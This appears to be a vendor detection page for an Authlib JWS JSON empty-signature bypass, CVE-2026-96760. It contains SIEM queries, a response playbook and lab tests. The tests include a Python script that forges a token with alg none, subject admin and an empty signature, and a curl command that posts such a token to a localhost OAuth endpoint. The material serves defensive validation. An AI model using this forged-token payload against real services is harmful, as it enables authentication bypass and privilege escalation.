Detect Authlib JWS JSON Empty Signature Validation Bypass (CVE-2026-96760) in Sumo Logic CSE
Detects potential exploitation of CVE-2026-96760, a signature-verification bypass in Authlib (<= 1.8.0) where JWS tokens in JSON serialization format are accepted with empty signature values during deserialization. An attacker can forge a JWS JSON token with an empty 'signature' (or 'protected'/'header' with no valid signature) and have it pass validation, enabling authentication bypass and privilege escalation (CWE-347, Improper Verification of Cryptographic Signature). This detection surfaces vulnerable Authlib package versions in the environment, anomalous JWS JSON deserialization activity, and authentication events that succeed with empty-signature tokens.
MITRE ATT&CK
Sumo Detection Query
// df00tech DF00-122fc3452b · https://df00tech.com/detections/CVE-2026-96760 · licence: https://df00tech.com/detections/licence
_sourceCategory=*web* ("/oauth" OR "/token" OR "/jwt" OR "/authorize") AND ("signature" OR "protected")
| parse regex "(?<method>\w+)\s(?<uri>\S+)\sHTTP" nodrop
| parse regex "\"(?<clientip>\d+\.\d+\.\d+\.\d+)" nodrop
| where uri matches /.*(oauth|token|jwt|authorize).*/
| count by clientip, uri
| sort by _count desc Detects web requests to OAuth/JWT endpoints carrying JWS JSON serialization indicators (signature/protected fields) that may contain empty signatures exploiting CVE-2026-96760 in Authlib.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate OAuth flows referencing signature parameters
- High-volume API clients using valid signed JWS JSON tokens
- Monitoring and health-check probes against auth endpoints
Other platforms for CVE-2026-96760
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Enumerate vulnerable Authlib version (Linux)
Expected signal: Process execution of pip/python with authlib arguments; package inventory change to authlib 1.8.0.
- Test 2 Forge JWS JSON token with empty signature (Linux, lab)
Expected signal: Python process using authlib.jose with a JWS JSON token containing an empty signature field.
- Test 3 Submit empty-signature JWS JSON to auth endpoint (Linux, lab)
Expected signal: Outbound/inbound HTTP POST to /oauth/token containing JWS JSON fields with an empty signature value.
References (7)
- https://github.com/authlib/authlib/security/advisories/GHSA-6v38-4h7w-rj9h
- https://nvd.nist.gov/vuln/detail/CVE-2026-96760
- https://github.com/authlib/authlib/pull/938
- https://github.com/authlib/authlib/commit/6c11a02da8730914cea08ec195f1108a40dc6733
- https://github.com/authlib/authlib/releases/tag/v1.9.0
- https://kb.cert.org/vuls/id/762428
- https://github.com/advisories/GHSA-6v38-4h7w-rj9h
Response Playbook
Triage
- Confirm the affected service's Authlib version by running `pip show authlib` (or inspecting the application's lockfile/requirements) on the host; anything <= 1.8.0 is vulnerable.
- Determine whether the application uses JWS JSON serialization deserialization (calls to `JsonWebSignature.deserialize_json` / `jws.deserialize`) on attacker-controllable input such as tokens, API payloads, or callbacks.
- Review authentication/authorization logs around the alert for tokens that validated successfully but correspond to unexpected or privileged identities.
- Inspect the flagged requests for JWS JSON structures with empty or missing 'signature' values in the 'signatures' array or a single empty 'signature' field.
Containment
- Upgrade Authlib to 1.9.0 or later across all affected services and redeploy.
- As an interim mitigation, reject JWS JSON serialization inputs with empty/missing signatures at a WAF or application gateway, or disable JSON serialization acceptance if not required.
- Invalidate and rotate any sessions, tokens, or credentials that may have been issued or accepted via forged empty-signature tokens.
Evidence Collection
- Capture the raw JWS JSON payloads from the flagged requests, including full headers and body, for signature-field analysis.
- Preserve application and web server logs, the installed Authlib package metadata (`pip show`/`pip freeze`), and the deployed source revision.
- Export authentication audit records showing which principals authenticated during the suspected exploitation window.
Escalation Criteria
- !Escalate to incident response if any token with an empty signature was accepted and resulted in an authenticated session or privileged action.
- !Escalate if evidence shows account takeover, privilege escalation, or access to protected resources via forged tokens.
- !Escalate if the vulnerable Authlib version is confirmed on an internet-facing service accepting JWS JSON input from untrusted clients.
Investigation Guide
Forensic Artifacts
- >
Installed Authlib package version metadata (pip freeze / site-packages dist-info) - >
Web and application logs containing JWS JSON payloads with empty signature fields - >
Authentication/session store records for sessions created during the suspected window
Tuning Guidance
Baseline legitimate OAuth/OIDC traffic to your JWT endpoints before enabling URL-string-based detections, since 'signature' and 'protected' appear in many valid flows. Prefer the package-inventory components (high precision) for alerting and treat the network/URL heuristics as hunting leads. If your applications never use JWS JSON serialization, any JWS JSON input is anomalous and can be alerted on aggressively. Suppress known scanner source IPs and internal health checks.
Hunting Queries
Enumerate all hosts with a vulnerable Authlib version (<=1.8.0) to scope exposure.
// df00tech DF00-122fc3452b · https://df00tech.com/detections/CVE-2026-96760 · licence: https://df00tech.com/detections/licence
DeviceTvmSoftwareInventory | where SoftwareName has "authlib" | extend ver=parse_version(SoftwareVersion) | where ver <= parse_version("1.8.0") | project DeviceName, SoftwareName, SoftwareVersion ``` df00tech DF00-122fc3452b · https://df00tech.com/detections/CVE-2026-96760 · licence: https://df00tech.com/detections/licence ```
index=os sourcetype="package:inventory" package="authlib" | rex field=version "(?<maj>\d+)\.(?<min>\d+)\.(?<pat>\d+)" | eval verint=(maj*10000)+(min*100)+pat | where verint<=10800 | table host version Atomic Red Team Tests
Checks whether the installed Authlib version is <= 1.8.0 and therefore vulnerable to CVE-2026-96760.
Command
pip install 'authlib==1.8.0' >/dev/null 2>&1; python3 -c "import authlib; print('authlib', authlib.__version__)" Cleanup
pip install 'authlib==1.9.0' >/dev/null 2>&1 || pip uninstall -y authlib Expected Telemetry
Process execution of pip/python with authlib arguments; package inventory change to authlib 1.8.0.
Expected Detection
Package-inventory components of the KQL/SPL/CrowdStrike queries flag authlib <=1.8.0 on the host.
Constructs a JWS JSON serialization token with an empty signature and attempts deserialization with vulnerable Authlib to demonstrate the validation bypass.
Command
python3 - <<'EOF'
import json, base64
from authlib.jose import JsonWebSignature
jws = JsonWebSignature()
protected = base64.urlsafe_b64encode(b'{\"alg\":\"none\"}').rstrip(b'=').decode()
payload = base64.urlsafe_b64encode(b'{\"sub\":\"admin\"}').rstrip(b'=').decode()
token = json.dumps({\"protected\": protected, \"payload\": payload, \"signature\": \"\"})
print(\"forged JWS JSON token:\", token)
EOF Cleanup
echo 'no artifacts to remove' Expected Telemetry
Python process using authlib.jose with a JWS JSON token containing an empty signature field.
Expected Detection
Process/CommandLine detections (CrowdStrike CQL, Elastic EQL first stage) flag Python invoking authlib/jws.
Sends a forged JWS JSON token with an empty signature to a local OAuth/JWT endpoint to simulate the network-side exploitation attempt.
Command
curl -s -X POST 'http://127.0.0.1:8000/oauth/token' -H 'Content-Type: application/json' -d '{"protected":"eyJhbGciOiJub25lIn0","payload":"eyJzdWIiOiJhZG1pbiJ9","signature":""}' -G --data-urlencode 'signature=' Cleanup
echo 'no artifacts to remove' Expected Telemetry
Outbound/inbound HTTP POST to /oauth/token containing JWS JSON fields with an empty signature value.
Expected Detection
Network/URL-based detections (KQL IIS, SPL web, QRadar AQL, Sumo, Chronicle YARA-L) flag the request to the OAuth/JWT endpoint with signature fields.